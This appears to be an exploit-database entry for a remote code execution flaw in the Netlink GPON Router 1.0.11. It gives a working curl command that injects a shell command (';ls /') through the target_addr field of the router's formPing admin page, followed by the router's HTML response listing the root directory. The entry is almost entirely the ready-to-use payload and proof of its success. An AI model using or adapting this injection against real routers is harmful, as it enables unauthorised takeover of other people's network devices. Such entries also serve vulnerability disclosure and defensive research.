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# Exploit Title: Netlink GPON Router 1.0.11 - Remote Code Execution  
# Date: 2020-03-17  
# Exploit Author: shellord  
# Vendor Homepage: https://www.netlink-india.com/  
# Version: 1.0.11  
# Tested on: Windows 10  
# CVE: N/A  
  
Exploit :  
  
curl -L -d "target_addr=;ls /&waninf=1_INTERNET_R_VID_154"  
http://TARGETIP/boaform/admin/formPing  
  
Response :  
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">  
<!--系统默模-->  
<html>  
<head>  
<title>PING越</title>  
<meta http-equiv=pragma content=no-cache>  
<meta http-equiv=refresh content="2">  
<meta http-equiv=cache-control content="no-cache, must-revalidate">  
<meta http-equiv=content-type content="text/html; charset=gbk">  
<meta http-equiv=content-script-type content=text/javascript>  
<!--系统css-->  
<style type=text/css>  
@import url(/style/default.css);  
</style>  
<!--系统疟-->  
<script language="javascript" src="common.js"></script>  
</head>  
  
<!-------------------------------------------------------------------------------------->  
<!--页-->  
<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"  
alink="#000000" link="#000000" vlink="#000000">  
<blockquote>  
<form>  
<div align="left" style="padding-left:20px;"><br>  
<div align="left"><b>Finish</b>  
<br><br>  
</div>  
<pre>  
bin  
dev  
etc  
home  
image  
lib  
mnt  
proc  
sbin  
sys  
tmp  
usr  
var  
</pre>  
  
<input type=button value="back"  
onClick=window.location.replace("/diag_ping_admin_en.asp")>  
</div>  
</form>  
</blockquote>  
</body>  
</html>